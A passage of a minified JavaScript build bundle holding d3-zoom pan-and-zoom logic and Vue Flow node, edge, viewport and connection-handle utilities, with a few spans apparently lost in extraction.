Ih(e,{sourceEvent:t,target:n,transform:o,dispatch:i}){Object.defineProperties(this,{type:{value:e,enumerable:!0,configurable:!0},sourceEvent:{value:t,enumerable:!0,configurable:!0},target:{value:n,enumerable:!0,configurable:!0},transform:{value:o,enumerable:!0,configurable:!0},_:{value:i}})}function ct(e,t,n){this.k=e,this.x=t,this.y=n}ct.prototype={constructor:ct,scale:function(e){return e===1?this:new ct(this.k*e,this.x,this.y)},translate:function(e,t){return e===0&t===0?this:new ct(this.k,this.x+this.k*e,this.y+this.k*t)},apply:function(e){return[e[0]*this.k+this.x,e[1]*this.k+this.y]},applyX:function(e){return e*this.k+this.x},applyY:function(e){return e*this.k+this.y},invert:function(e){return[(e[0]-this.x)/this.k,(e[1]-this.y)/this.k]},invertX:function(e){return(e-this.x)/this.k},invertY:function(e){return(e-this.y)/this.k},rescaleX:function(e){return e.copy().domain(e.range().map(this.invertX,this).map(e.invert,e))},rescaleY:function(e){return e.copy().domain(e.range().map(this.invertY,this).map(e.invert,e))},toString:function(){return"translate("+this.x+","+this.y+") scale("+this.k+")"}};var Jt=new ct(1,0,0);ct.prototype;function ni(e){e.stopImmediatePropagation()}function an(e){e.preventDefault(),e.stopImmediatePropagation()}function Th(e){return(!e.ctrlKey||e.type==="wheel")&&!e.button}function Oh(){var e=this;return e instanceof SVGElement?(e=e.ownerSVGElement||e,e.hasAttribute("viewBox")?(e=e.viewBox.baseVal,[[e.x,e.y],[e.x+e.width,e.y+e.height]]):[[0,0],[e.width.baseVal.value,e.height.baseVal.value]]):[[0,0],[e.clientWidth,e.clientHeight]]}function Lr(){return this.__zoom||Jt}function Ah(e){return-e.deltaY*(e.deltaMode===1?.05:e.deltaMode?1:.002)*(e.ctrlKey?10:1)}function Dh(){return navigator.maxTouchPoints||"ontouchstart"in this}function Ph(e,t,n){var o=e.invertX(t[0][0])-n[0][0],i=e.invertX(t[1][0])-n[1][0],r=e.invertY(t[0][1])-n[0][1],s=e.invertY(t[1][1])-n[1][1];return e.translate(i>o?(o+i)/2:Math.min(0,o)||Math.max(0,i),s>r?(r+s)/2:Math.min(0,r)||Math.max(0,s))}function zh(){var e=Th,t=Oh,n=Ph,o=Ah,i=Dh,r=[0,1/0],s=[[-1/0,-1/0],[1/0,1/0]],a=250,l=ro,u=Po("start","zoom","end"),c,d,h,g=500,_=150,b=0,S=10;function $(p){p.property("__zoom",Lr).on("wheel.zoom",B,{passive:!1}).on("mousedown.zoom",G).on("dblclick.zoom",L).filter(i).on("touchstart.zoom",R).on("touchmove.zoom",C).on("touchend.zoom touchcancel.zoom",X).style("-webkit-tap-highlight-color","rgba(0,0,0,0)")}$.transform=function(p,k,w,O){var T=p.selection?p.selection():p;T.property("__zoom",Lr),p!==T?D(p,k,w,O):T.interrupt().each(function(){V(this,arguments).event(O).start().zoom(null,typeof k=="function"?k.apply(this,arguments):k).end()})},$.scaleBy=function(p,k,w,O){$.scaleTo(p,function(){var T=this.__zoom.k,z=typeof k=="function"?k.apply(this,arguments):k;return T*z},w,O)},$.scaleTo=function(p,k,w,O){$.transform(p,function(){var T=t.apply(this,arguments),z=this.__zoom,A=w==null?x(T):typeof w=="function"?w.apply(this,arguments):w,Y=z.invert(A),q=typeof k=="function"?k.apply(this,arguments):k;return n(v(N(z,q),A,Y),T,s)},w,O)},$.translateBy=function(p,k,w,O){$.transform(p,function(){return n(this.__zoom.translate(typeof k=="function"?k.apply(this,arguments):k,typeof w=="function"?w.apply(this,arguments):w),t.apply(this,arguments),s)},null,O)},$.translateTo=function(p,k,w,O,T){$.transform(p,function(){var z=t.apply(this,arguments),A=this.__zoom,Y=O==null?x(z):typeof O=="function"?O.apply(this,arguments):O;return n(Jt.translate(Y[0],Y[1]).scale(A.k).translate(typeof k=="function"?-k.apply(this,arguments):-k,typeof w=="function"?-w.apply(this,arguments):-w),z,s)},O,T)};function N(p,k){return k=Math.max(r[0],Math.min(r[1],k)),k===p.k?p:new ct(k,p.x,p.y)}function v(p,k,w){var O=k[0]-w[0]*p.k,T=k[1]-w[1]*p.k;return O===p.x&&T===p.y?p:new ct(p.k,O,T)}function x(p){return[(+p[0][0]+ +p[1][0])/2,(+p[0][1]+ +p[1][1])/2]}function D(p,k,w,O){p.on("start.zoom",function(){V(this,arguments).event(O).start()}).on("interrupt.zoom end.zoom",function(){V(this,arguments).event(O).end()}).tween("zoom",function(){var T=this,z=arguments,A=V(T,z).event(O),Y=t.apply(T,z),q=w==null?x(Y):typeof w=="function"?w.apply(T,z):w,ne=Math.max(Y[1][0]-Y[0][0],Y[1][1]-Y[0][1]),re=T.__zoom,Z=typeof k=="function"?k.apply(T,z):k,K=l(re.invert(q).concat(ne/re.k),Z.invert(q).concat(ne/Z.k));return function(Q){if(Q===1)Q=Z;else{var ce=K(Q),me=ne/ce[2];Q=new ct(me,q[0]-ce[0]*me,q[1]-ce[1]*me)}A.zoom(null,Q)}})}function V(p,k,w){return!w&&p.__zooming||new F(p,k)}function F(p,k){this.that=p,this.args=k,this.active=0,this.sourceEvent=null,this.extent=t.apply(p,k),this.taps=0}F.prototype={event:function(p){return p&&(this.sourceEvent=p),this},start:function(){return++this.active===1&&(this.that.__zooming=this,this.emit("start")),this},zoom:function(p,k){return this.mouse&&p!=="mouse"&&(this.mouse[1]=k.invert(this.mouse[0])),this.touch0&&p!=="touch"&&(this.touch0[1]=k.invert(this.touch0[0])),this.touch1&&p!=="touch"&&(this.touch1[1]=k.invert(this.touch1[0])),this.that.__zoom=k,this.emit("zoom"),this},end:function(){return--this.active===0&&(delete this.that.__zooming,this.emit("end")),this},emit:function(p){var k=Ge(this.that).datum();u.call(p,this.that,new Ih(p,{sourceEvent:this.sourceEvent,target:$,transform:this.that.__zoom,dispatch:u}),k)}};function B(p,...k){if(!e.apply(this,arguments))return;var w=V(this,k).event(p),O=this.__zoom,T=Math.max(r[0],Math.min(r[1],O.k*Math.pow(2,o.apply(this,arguments)))),z=Ke(p);if(w.wheel)(w.mouse[0][0]!==z[0]||w.mouse[0][1]!==z[1])&&(w.mouse[1]=O.invert(w.mouse[0]=z)),clearTimeout(w.wheel);else{if(O.k===T)return;w.mouse=[z,O.invert(z)],lo(this),w.start()}an(p),w.wheel=setTimeout(A,_),w.zoom("mouse",n(v(N(O,T),w.mouse[0],w.mouse[1]),w.extent,s));function A(){w.wheel=null,w.end()}}function G(p,...k){if(h||!e.apply(this,arguments))return;var w=p.currentTarget,O=V(this,k,!0).event(p),T=Ge(p.view).on("mousemove.zoom",q,!0).on("mouseup.zoom",ne,!0),z=Ke(p,w),A=p.clientX,Y=p.clientY;ba(p.view),ni(p),O.mouse=[z,this.__zoom.invert(z)],lo(this),O.start();function q(re){if(an(re),!O.moved){var Z=re.clientX-A,K=re.clientY-Y;O.moved=Z*Z+K*K>b}O.event(re).zoom("mouse",n(v(O.that.__zoom,O.mouse[0]=Ke(re,w),O.mouse[1]),O.extent,s))}function ne(re){T.on("mousemove.zoom mouseup.zoom",null),Ea(re.view,O.moved),an(re),O.event(re).end()}}function L(p,...k){if(e.apply(this,arguments)){var w=this.__zoom,O=Ke(p.changedTouches?p.changedTouches[0]:p,this),T=w.invert(O),z=w.k*(p.shiftKey?.5:2),A=n(v(N(w,z),O,T),t.apply(this,k),s);an(p),a>0?Ge(this).transition().duration(a).call(D,A,O,p):Ge(this).call($.transform,A,O,p)}}function R(p,...k){if(e.apply(this,arguments)){var w=p.touches,O=w.length,T=V(this,k,p.changedTouches.length===O).event(p),z,A,Y,q;for(ni(p),A=0;A(e.Left="left",e.Top="top",e.Right="right",e.Bottom="bottom",e))(J||{}),ir=(e=>(e.Partial="partial",e.Full="full",e))(ir||{}),Nt=(e=>(e.Bezier="default",e.SimpleBezier="simple-bezier",e.Straight="straight",e.Step="step",e.SmoothStep="smoothstep",e))(Nt||{}),xt=(e=>(e.Strict="strict",e.Loose="loose",e))(xt||{}),Ut=(e=>(e.Arrow="arrow",e.ArrowClosed="arrowclosed",e))(Ut||{}),yn=(e=>(e.Free="free",e.Vertical="vertical",e.Horizontal="horizontal",e))(yn||{}),za=(e=>(e.TopLeft="top-left",e.TopCenter="top-center",e.TopRight="top-right",e.BottomLeft="bottom-left",e.BottomCenter="bottom-center",e.BottomRight="bottom-right",e))(za||{});const Rh=["INPUT","SELECT","TEXTAREA"],Bh=typeof document<"u"?document:null;function Ti(e){var t,n;const o=((n=(t=e.composedPath)==null?void 0:t.call(e))==null?void 0:n[0])||e.target,i=typeof(o==null?void 0:o.hasAttribute)=="function"?o.hasAttribute("contenteditable"):!1,r=typeof(o==null?void 0:o.closest)=="function"?o.closest(".nokey"):null;return Rh.includes(o==null?void 0:o.nodeName)||i||!!r}function Vh(e){return e.ctrlKey||e.metaKey||e.shiftKey||e.altKey}function Fr(e,t,n,o){const i=t.replace("+",` +`).replace(` + +`,` ++`).split(` +`).map(s=>s.trim().toLowerCase());if(i.length===1)return e.toLowerCase()===t.toLowerCase();o||n.add(e.toLowerCase());const r=i.every((s,a)=>n.has(s)&&Array.from(n.values())[a]===i[a]);return o&&n.delete(e.toLowerCase()),r}function Hh(e,t){return n=>{if(!n.code&&!n.key)return!1;const o=Lh(n.code,e);return Array.isArray(e)?e.some(i=>Fr(n[o],i,t,n.type==="keyup")):Fr(n[o],e,t,n.type==="keyup")}}function Lh(e,t){return t.includes(e)?"code":"key"}function wn(e,t){const n=ie(()=>ge(t==null?void 0:t.target)??Bh),o=Et(ge(e)===!0);let i=!1;const r=new Set;let s=l(ge(e));Ee(()=>ge(e),(u,c)=>{typeof c=="boolean"&&typeof u!="boolean"&&a(),s=l(u)},{immediate:!0}),la(["blur","contextmenu"],a),$r((...u)=>s(...u),u=>{var c,d;const h=ge(t==null?void 0:t.actInsideInputWithModifier)??!0,g=ge(t==null?void 0:t.preventDefault)??!1;if(i=Vh(u),(!i||i&&!h)&&Ti(u))return;const b=((d=(c=u.composedPath)==null?void 0:c.call(u))==null?void 0:d[0])||u.target,S=(b==null?void 0:b.nodeName)==="BUTTON"||(b==null?void 0:b.nodeName)==="A";!g&&(i||!S)&&u.preventDefault(),o.value=!0},{eventName:"keydown",target:n}),$r((...u)=>s(...u),u=>{const c=ge(t==null?void 0:t.actInsideInputWithModifier)??!0;if(o.value){if((!i||i&&!c)&&Ti(u))return;i=!1,o.value=!1}},{eventName:"keyup",target:n});function a(){i=!1,r.clear(),o.value=ge(e)===!0}function l(u){return u===null?(a(),()=>!1):typeof u=="boolean"?(a(),o.value=u,()=>!1):Array.isArray(u)||typeof u=="string"?Hh(u,r):u}return o}const Ra="vue-flow__node-desc",Ba="vue-flow__edge-desc",Fh="vue-flow__aria-live",Va=["Enter"," ","Escape"],jt={ArrowUp:{x:0,y:-1},ArrowDown:{x:0,y:1},ArrowLeft:{x:-1,y:0},ArrowRight:{x:1,y:0}};function Eo(e){return{...e.computedPosition||{x:0,y:0},width:e.dimensions.width||0,height:e.dimensions.height||0}}function xo(e,t){const n=Math.max(0,Math.min(e.x+e.width,t.x+t.width)-Math.max(e.x,t.x)),o=Math.max(0,Math.min(e.y+e.height,t.y+t.height)-Math.max(e.y,t.y));return Math.ceil(n*o)}function Vo(e){return{width:e.offsetWidth,height:e.offsetHeight}}function Rt(e,t=0,n=1){return Math.min(Math.max(e,t),n)}function Ha(e,t){return{x:Rt(e.x,t[0][0],t[1][0]),y:Rt(e.y,t[0][1],t[1][1])}}function Yr(e){const t=e.getRootNode();return"elementFromPoint"in t?t:window.document}function $t(e){return e&&typeof e=="object"&&"id"in e&&"source"in e&&"target"in e}function Ot(e){return e&&typeof e=="object"&&"id"in e&&"position"in e&&!$t(e)}function hn(e){return Ot(e)&&"computedPosition"in e}function Un(e){return!Number.isNaN(e)&&Number.isFinite(e)}function Yh(e){return Un(e.width)&&Un(e.height)&&Un(e.x)&&Un(e.y)}function Gh(e,t,n){const o={id:e.id.toString(),type:e.type??"default",dimensions:oo({width:0,height:0}),computedPosition:oo({z:0,...e.position}),handleBounds:{source:[],target:[]},draggable:void 0,selectable:void 0,connectable:void 0,focusable:void 0,selected:!1,dragging:!1,resizing:!1,initialized:!1,isParent:!1,position:{x:0,y:0},data:Ie(e.data)?e.data:{},events:oo(Ie(e.events)?e.events:{})};return Object.assign(t??o,e,{id:e.id.toString(),parentNode:n})}function La(e,t,n){var o,i;const r={id:e.id.toString(),type:e.type??(t==null?void 0:t.type)??"default",source:e.source.toString(),target:e.target.toString(),sourceHandle:(o=e.sourceHandle)==null?void 0:o.toString(),targetHandle:(i=e.targetHandle)==null?void 0:i.toString(),updatable:e.updatable??(n==null?void 0:n.updatable),selectable:e.selectable??(n==null?void 0:n.selectable),focusable:e.focusable??(n==null?void 0:n.focusable),data:Ie(e.data)?e.data:{},events:oo(Ie(e.events)?e.events:{}),label:e.label??"",interactionWidth:e.interactionWidth??(n==null?void 0:n.interactionWidth),...n??{}};return Object.assign(t??r,e,{id:e.id.toString()})}function Fa(e,t,n,o){const i=typeof e=="string"?e:e.id,r=new Set,s=o==="source"?"target":"source";for(const a of n)a[s]===i&&r.add(a[o]);return t.filter(a=>r.has(a.id))}function Xh(...e){if(e.length===3){const[r,s,a]=e;return Fa(r,s,a,"target")}const[t,n]=e,o=typeof t=="string"?t:t.id;return n.filter(r=>$t(r)&&r.source===o).map(r=>n.find(s=>Ot(s)&&s.id===r.target))}function Wh(...e){if(e.length===3){const[r,s,a]=e;return Fa(r,s,a,"source")}const[t,n]=e,o=typeof t=="string"?t:t.id;return n.filter(r=>$t(r)&&r.target===o).map(r=>n.find(s=>Ot(s)&&s.id===r.source))}function Ya({source:e,sourceHandle:t,target:n,targetHandle:o}){return`vueflow__edge-${e}${t??""}-${n}${o??""}`}function Uh(e,t){return t.some(n=>$t(n)&&n.source===e.source&&n.target===e.target&&(n.sourceHandle===e.sourceHandle||!n.sourceHandle&&!e.sourceHandle)&&(n.targetHandle===e.targetHandle||!n.targetHandle&&!e.targetHandle))}function kn({x:e,y:t},{x:n,y:o,zoom:i}){return{x:e*i+n,y:t*i+o}}function Nn({x:e,y:t},{x:n,y:o,zoom:i},r=!1,s=[1,1]){const a={x:(e-n)/i,y:(t-o)/i};return r?Ho(a,s):a}function Ga(e,t){return{x:Math.min(e.x,t.x),y:Math.min(e.y,t.y),x2:Math.max(e.x2,t.x2),y2:Math.max(e.y2,t.y2)}}function $o({x:e,y:t,width:n,height:o}){return{x:e,y:t,x2:e+n,y2:t+o}}function Xa({x:e,y:t,x2:n,y2:o}){return{x:e,y:t,width:n-e,height:o-t}}function jh(e,t){return Xa(Ga($o(e),$o(t)))}function rr(e){let t={x:Number.POSITIVE_INFINITY,y:Number.POSITIVE_INFINITY,x2:Number.NEGATIVE_INFINITY,y2:Number.NEGATIVE_INFINITY};for(let n=0;n0,S=(d??0)*(h??0);(_||b||g>=S||a.dragging)&&s.push(a)}return s}function St(e,t){const n=new Set;if(typeof e=="string")n.add(e);else if(e.length>=1)for(const o of e)n.add(o.id);return t.filter(o=>n.has(o.source)||n.has(o.target))}function Gt(e,t){if(typeof e=="number")return Math.floor((t-t/(1+e))*.5);if(typeof e=="string"&&e.endsWith("px")){const n=Number.parseFloat(e);if(!Number.isNaN(n))return Math.floor(n)}if(typeof e=="string"&&e.endsWith("%")){const n=Number.parseFloat(e);if(!Number.isNaN(n))return Math.floor(t*n*.01)}return zn(`The padding value "${e}" is invalid. Please provide a number or a string with a valid unit (px or %).`),0}function Zh(e,t,n){if(typeof e=="string"||typeof e=="number"){const o=Gt(e,n),i=Gt(e,t);return{top:o,right:i,bottom:o,left:i,x:i*2,y:o*2}}if(typeof e=="object"){const o=Gt(e.top??e.y??0,n),i=Gt(e.bottom??e.y??0,n),r=Gt(e.left??e.x??0,t),s=Gt(e.right??e.x??0,t);return{top:o,right:s,bottom:i,left:r,x:r+s,y:o+i}}return{top:0,right:0,bottom:0,left:0,x:0,y:0}}function qh(e,t,n,o,i,r){const{x:s,y:a}=kn(e,{x:t,y:n,zoom:o}),{x:l,y:u}=kn({x:e.x+e.width,y:e.y+e.height},{x:t,y:n,zoom:o}),c=i-l,d=r-u;return{left:Math.floor(s),top:Math.floor(a),right:Math.floor(c),bottom:Math.floor(d)}}function Gr(e,t,n,o,i,r=.1){const s=Zh(r,t,n),a=(t-s.x)/e.width,l=(n-s.y)/e.height,u=Math.min(a,l),c=Rt(u,o,i),d=e.x+e.width/2,h=e.y+e.height/2,g=t/2-d*c,_=n/2-h*c,b=qh(e,g,_,c,t,n),S={left:Math.min(b.left-s.left,0),top:Math.min(b.top-s.top,0),right:Math.min(b.right-s.right,0),bottom:Math.min(b.bottom-s.bottom,0)};return{x:g-S.left+S.right,y:_-S.top+S.bottom,zoom:c}}function Kh(e,t){return{x:t.x+e.x,y:t.y+e.y,z:(e.z>t.z?e.z:t.z)+1}}function Ua(e,t){if(!e.parentNode)return!1;const n=t.get(e.parentNode);return n?n.selected?!0:Ua(n,t):!1}function Sn(e,t){return typeof e>"u"?"":typeof e=="string"?e:`${t?`${t}__`:""}${Object.keys(e).sort().map(o=>`${o}=${e[o]}`).join("&")}`}function Oi(e){const t=e.ctrlKey&&Cn()?10:1;return-e.deltaY*(e.deltaMode===1?.05:e.deltaMode?1:.002)*t}function Xr(e,t,n){return en?-Rt(Math.abs(e-n),1,t)/t:0}function ja(e,t,n=15,o=40){const i=Xr(e.x,o,t.width-o)*n,r=Xr(e.y,o,t.height-o)*n;return[i,r]}function oi(e,t){if(t){const n=e.position.x+e.dimensions.width-t.dimensions.width,o=e.position.y+e.dimensions.height-t.dimensions.height;if(n>0||o>0||e.position.x<0||e.position.y<0){let i={};if(typeof t.style=="function"?i={...t.style(t)}:t.style&&(i={...t.style}),i.width=i.width??`${t.dimensions.width}px`,i.height=i.height??`${t.dimensions.height}px`,n>0)if(typeof i.width=="string"){const r=Number(i.width.replace("px",""));i.width=`${r+n}px`}else i.width+=n;if(o>0)if(typeof i.height=="string"){const r=Number(i.height.replace("px",""));i.height=`${r+o}px`}else i.height+=o;if(e.position.x<0){const r=Math.abs(e.position.x);if(t.position.x=t.position.x-r,typeof i.width=="string"){const s=Number(i.width.replace("px",""));i.width=`${s+r}px`}else i.width+=r;e.position.x=0}if(e.position.y<0){const r=Math.abs(e.position.y);if(t.position.y=t.position.y-r,typeof i.height=="string"){const s=Number(i.height.replace("px",""));i.height=`${s+r}px`}else i.height+=r;e.position.y=0}t.dimensions.width=Number(i.width.toString().replace("px","")),t.dimensions.height=Number(i.height.toString().replace("px","")),typeof t.style=="function"?t.style=r=>{const s=t.style;return{...s(r),...i}}:t.style={...t.style,...i}}}}function ko(e,t){var n,o;const i=e.filter(s=>s.type==="add"||s.type==="remove");for(const s of i)if(s.type==="add")t.findIndex(l=>l.id===s.item.id)===-1&&t.push(s.item);else if(s.type==="remove"){const a=t.findIndex(l=>l.id===s.id);a!==-1&&t.splice(a,1)}const r=t.map(s=>s.id);for(const s of t)for(const a of e)if(a.id===s.id)switch(a.type){case"select":s.selected=a.selected;break;case"position":if(hn(s)&&(typeof a.position<"u"&&(s.position=a.position),typeof a.dragging<"u"&&(s.dragging=a.dragging),s.expandParent&&s.parentNode)){const l=t[r.indexOf(s.parentNode)];l&&hn(l)&&oi(s,l)}break;case"dimensions":if(hn(s)&&(typeof a.dimensions<"u"&&(s.dimensions=a.dimensions),typeof a.updateStyle<"u"&&a.updateStyle&&(s.style={...s.style||{},width:`${(n=a.dimensions)==null?void 0:n.width}px`,height:`${(o=a.dimensions)==null?void 0:o.height}px`}),typeof a.resizing<"u"&&(s.resizing=a.resizing),s.expandParent&&s.parentNode)){const l=t[r.indexOf(s.parentNode)];l&&hn(l)&&(!!l.dimensions.width&&!!l.dimensions.height?oi(s,l):Ye(()=>{oi(s,l)}))}break}return t}function Jh(e,t){return ko(e,t)}function Qh(e,t){return ko(e,t)}function mt(e,t){return{id:e,type:"select",selected:t}}function Wr(e){return{item:e,type:"add"}}function Ur(e){return{id:e,type:"remove"}}function jr(e,t,n,o,i){return{id:e,source:t,target:n,sourceHandle:o||null,targetHandle:i||null,type:"remove"}}function wt(e,t=new Set,n=!1){const o=[];for(const[i,r]of e){const s=t.has(i);!(r.selected===void 0&&!s)&&r.selected!==s&&(n&&(r.selected=s),o.push(mt(r.id,s)))}return o}const Zr=()=>{};function te(e){const t=new Set;let n=Zr,o=()=>!1;const i=()=>t.size>0||o(),r=h=>{n=h},s=()=>{n=Zr},a=h=>{o=h},l=()=>{o=()=>!1},u=h=>{t.delete(h)};return{on:h=>{t.add(h);const g=()=>u(h);return _n(g),{off:g}},off:u,trigger:h=>{const g=[n];return i()?g.push(...t):e&&g.push(e),Promise.allSettled(g.map(_=>_(h)))},hasListeners:i,listeners:t,setEmitter:r,removeEmitter:s,setHasEmitListeners:a,removeHasEmitListeners:l}}function qr(e,t,n){let o=e;do{if(o&&o.matches(t))return!0;if(o===n)return!1;o=o.parentElement}while(o);return!1}function eg(e,t,n,o){var i,r;const s=new Map;for(const[a,l]of e)(l.selected||l.id===o)&&(!l.parentNode||!Ua(l,e))&&(l.draggable||t&&typeof l.draggable>"u")&&e.get(a)&&s.set(a,{id:l.id,position:l.position||{x:0,y:0},distance:{x:n.x-((i=l.computedPosition)==null?void 0:i.x)||0,y:n.y-((r=l.computedPosition)==null?void 0:r.y)||0},from:{x:l.computedPosition.x,y:l.computedPosition.y},extent:l.extent,parentNode:l.parentNode,dimensions:{...l.dimensions},expandParent:l.expandParent});return Array.from(s.values())}function ii({id:e,dragItems:t,findNode:n}){const o=[];for(const i of t){const r=n(i.id);r&&o.push(r)}return[e?o.find(i=>i.id===e):o[0],o]}function Za(e){if(Array.isArray(e))switch(e.length){case 1:return[e[0],e[0],e[0],e[0]];case 2:return[e[0],e[1],e[0],e[1]];case 3:return[e[0],e[1],e[2],e[1]];case 4:return e;default:return[0,0,0,0]}return[e,e,e,e]}function tg(e,t,n){const[o,i,r,s]=typeof e!="string"?Za(e.padding):[0,0,0,0];return n&&typeof n.computedPosition.x<"u"&&typeof n.computedPosition.y<"u"&&typeof n.dimensions.width<"u"&&typeof n.dimensions.height<"u"?[[n.computedPosition.x+s,n.computedPosition.y+o],[n.computedPosition.x+n.dimensions.width-i,n.computedPosition.y+n.dimensions.height-r]]:!1}function ng(e,t,n,o){let i=e.extent||n;if((i==="parent"||!Array.isArray(i)&&(i==null?void 0:i.range)==="parent")&&!e.expandParent)if(e.parentNode&&o&&e.dimensions.width&&e.dimensions.height){const r=tg(i,e,o);r&&(i=r)}else t(new Ae(Oe.NODE_EXTENT_INVALID,e.id)),i=n;else if(Array.isArray(i)){const r=(o==null?void 0:o.computedPosition.x)||0,s=(o==null?void 0:o.computedPosition.y)||0;i=[[i[0][0]+r,i[0][1]+s],[i[1][0]+r,i[1][1]+s]]}else if(i!=="parent"&&(i!=null&&i.range)&&Array.isArray(i.range)){const[r,s,a,l]=Za(i.padding),u=(o==null?void 0:o.computedPosition.x)||0,c=(o==null?void 0:o.computedPosition.y)||0;i=[[i.range[0][0]+u+l,i.range[0][1]+c+r],[i.range[1][0]+u-s,i.range[1][1]+c-a]]}return i==="parent"?[[Number.NEGATIVE_INFINITY,Number.NEGATIVE_INFINITY],[Number.POSITIVE_INFINITY,Number.POSITIVE_INFINITY]]:i}function og({width:e,height:t},n){return[n[0],[n[1][0]-(e||0),n[1][1]-(t||0)]]}function sr(e,t,n,o,i){const r=og(e.dimensions,ng(e,n,o,i)),s=Ha(t,r);return{position:{x:s.x-((i==null?void 0:i.computedPosition.x)||0),y:s.y-((i==null?void 0:i.computedPosition.y)||0)},computedPosition:s}}function Qt(e,t,n=J.Left,o=!1){const i=((t==null?void 0:t.x)??0)+e.computedPosition.x,r=((t==null?void 0:t.y)??0)+e.computedPosition.y,{width:s,height:a}=t??ag(e);if(o)return{x:i+s/2,y:r+a/2};switch((t==null?void 0:t.position)??n){case J.Top:return{x:i+s/2,y:r};case J.Right:return{x:i+s,y:r+a/2};case J.Bottom:return{x:i+s/2,y:r+a};case J.Left:return{x:i,y:r+a/2}}}function Kr(e,t){return e&&(t?e.find(n=>n.id===t):e[0])||null}function ig({sourcePos:e,targetPos:t,sourceWidth:n,sourceHeight:o,targetWidth:i,targetHeight:r,width:s,height:a,viewport:l}){const u={x:Math.min(e.x,t.x),y:Math.min(e.y,t.y),x2:Math.max(e.x+n,t.x+i),y2:Math.max(e.y+o,t.y+r)};u.x===u.x2&&(u.x2+=1),u.y===u.y2&&(u.y2+=1);const c=$o({x:(0-l.x)/l.zoom,y:(0-l.y)/l.zoom,width:s/l.zoom,height:a/l.zoom}),d=Math.max(0,Math.min(c.x2,u.x2)-Math.max(c.x,u.x)),h=Math.max(0,Math.min(c.y2,u.y2)-Math.max(c.y,u.y));return Math.ceil(d*h)>0}function rg(e,t,n=!1){const o=typeof e.zIndex=="number";let i=o?e.zIndex:0;const r=t(e.source),s=t(e.target);return!r||!s?0:(n&&(i=o?e.zIndex:Math.max(r.computedPosition.z||0,s.computedPosition.z||0)),i)}var Oe=(e=>(e.MISSING_STYLES="MISSING_STYLES",e.MISSING_VIEWPORT_DIMENSIONS="MISSING_VIEWPORT_DIMENSIONS",e.NODE_INVALID="NODE_INVALID",e.NODE_NOT_FOUND="NODE_NOT_FOUND",e.NODE_MISSING_PARENT="NODE_MISSING_PARENT",e.NODE_TYPE_MISSING="NODE_TYPE_MISSING",e.NODE_EXTENT_INVALID="NODE_EXTENT_INVALID",e.EDGE_INVALID="EDGE_INVALID",e.EDGE_NOT_FOUND="EDGE_NOT_FOUND",e.EDGE_SOURCE_MISSING="EDGE_SOURCE_MISSING",e.EDGE_TARGET_MISSING="EDGE_TARGET_MISSING",e.EDGE_TYPE_MISSING="EDGE_TYPE_MISSING",e.EDGE_SOURCE_TARGET_SAME="EDGE_SOURCE_TARGET_SAME",e.EDGE_SOURCE_TARGET_MISSING="EDGE_SOURCE_TARGET_MISSING",e.EDGE_ORPHANED="EDGE_ORPHANED",e.USEVUEFLOW_OPTIONS="USEVUEFLOW_OPTIONS",e))(Oe||{});const Jr={MISSING_STYLES:()=>"It seems that you haven't loaded the necessary styles. Please import '@vue-flow/core/dist/style.css' to ensure that the graph is rendered correctly",MISSING_VIEWPORT_DIMENSIONS:()=>"The Vue Flow parent container needs a width and a height to render the graph",NODE_INVALID:e=>`Node is invalid +Node: ${e}`,NODE_NOT_FOUND:e=>`Node not found +Node: ${e}`,NODE_MISSING_PARENT:(e,t)=>`Node is missing a parent +Node: ${e} +Parent: ${t}`,NODE_TYPE_MISSING:e=>`Node type is missing +Type: ${e}`,NODE_EXTENT_INVALID:e=>`Only child nodes can use a parent extent +Node: ${e}`,EDGE_INVALID:e=>`An edge needs a source and a target +Edge: ${e}`,EDGE_SOURCE_MISSING:(e,t)=>`Edge source is missing +Edge: ${e} +Source: ${t}`,EDGE_TARGET_MISSING:(e,t)=>`Edge target is missing +Edge: ${e} +Target: ${t}`,EDGE_TYPE_MISSING:e=>`Edge type is missing +Type: ${e}`,EDGE_SOURCE_TARGET_SAME:(e,t,n)=>`Edge source and target are the same +Edge: ${e} +Source: ${t} +Target: ${n}`,EDGE_SOURCE_TARGET_MISSING:(e,t,n)=>`Edge source or target is missing +Edge: ${e} +Source: ${t} +Target: ${n}`,EDGE_ORPHANED:e=>`Edge was orphaned (suddenly missing source or target) and has been removed +Edge: ${e}`,EDGE_NOT_FOUND:e=>`Edge not found +Edge: ${e}`,USEVUEFLOW_OPTIONS:()=>"The options parameter is deprecated and will be removed in the next major version. Please use the id parameter instead"};class Ae extends Error{constructor(t,...n){var o;super((o=Jr[t])==null?void 0:o.call(Jr,...n)),this.name="VueFlowError",this.code=t,this.args=n}}function ar(e){return"clientX"in e}function sg(e){return"sourceEvent"in e}function Qe(e,t){const n=ar(e);let o,i;return n?(o=e.clientX,i=e.clientY):"touches"in e&&e.touches.length>0?(o=e.touches[0].clientX,i=e.touches[0].clientY):"changedTouches"in e&&e.changedTouches.length>0?(o=e.changedTouches[0].clientX,i=e.changedTouches[0].clientY):(o=0,i=0),{x:o-((t==null?void 0:t.left)??0),y:i-((t==null?void 0:t.top)??0)}}const Cn=()=>{var e;return typeof navigator<"u"&&((e=navigator==null?void 0:navigator.userAgent)==null?void 0:e.indexOf("Mac"))>=0};function ag(e){var t,n;return{width:((t=e.dimensions)==null?void 0:t.width)??e.width??0,height:((n=e.dimensions)==null?void 0:n.height)??e.height??0}}function Ho(e,t=[1,1]){return{x:t[0]*Math.round(e.x/t[0]),y:t[1]*Math.round(e.y/t[1])}}const lg=()=>!0;function ri(e){e==null||e.classList.remove("valid","connecting","vue-flow__handle-valid","vue-flow__handle-connecting")}function ug(e,t,n){const o=[],i={x:e.x-n,y:e.y-n,width:n*2,height:n*2};for(const r of t.values())xo(i,Eo(r))>0&&o.push(r);return o}const cg=250;function dg(e,t,n,o){var i,r;let s=[],a=Number.POSITIVE_INFINITY;const l=ug(e,n,t+cg);for(const u of l){const c=[...((i=u.handleBounds)==null?void 0:i.source)??[],...((r=u.handleBounds)==null?void 0:r.target)??[]];for(const d of c){if(o.nodeId===d.nodeId&&o.type===d.type&&o.id===d.id)continue;const{x:h,y:g}=Qt(u,d,d.position,!0),_=Math.sqrt((h-e.x)**2+(g-e.y)**2);_>t||(_1){const u=o.type==="source"?"target":"source";return s.find(c=>c.type===u)??s[0]}return s[0]}function Qr(e,{handle:t,connectionMode:n,fromNodeId:o,fromHandleId:i,fromType:r,doc:s,lib:a,flowId:l,isValidConnection:u=lg},c,d,h,g){const _=r==="target",b=t?s.querySelector(`.${a}-flow__handle[data-id="${l}-${t==null?void 0:t.nodeId}-${t==null?void 0:t.id}-${t==null?void 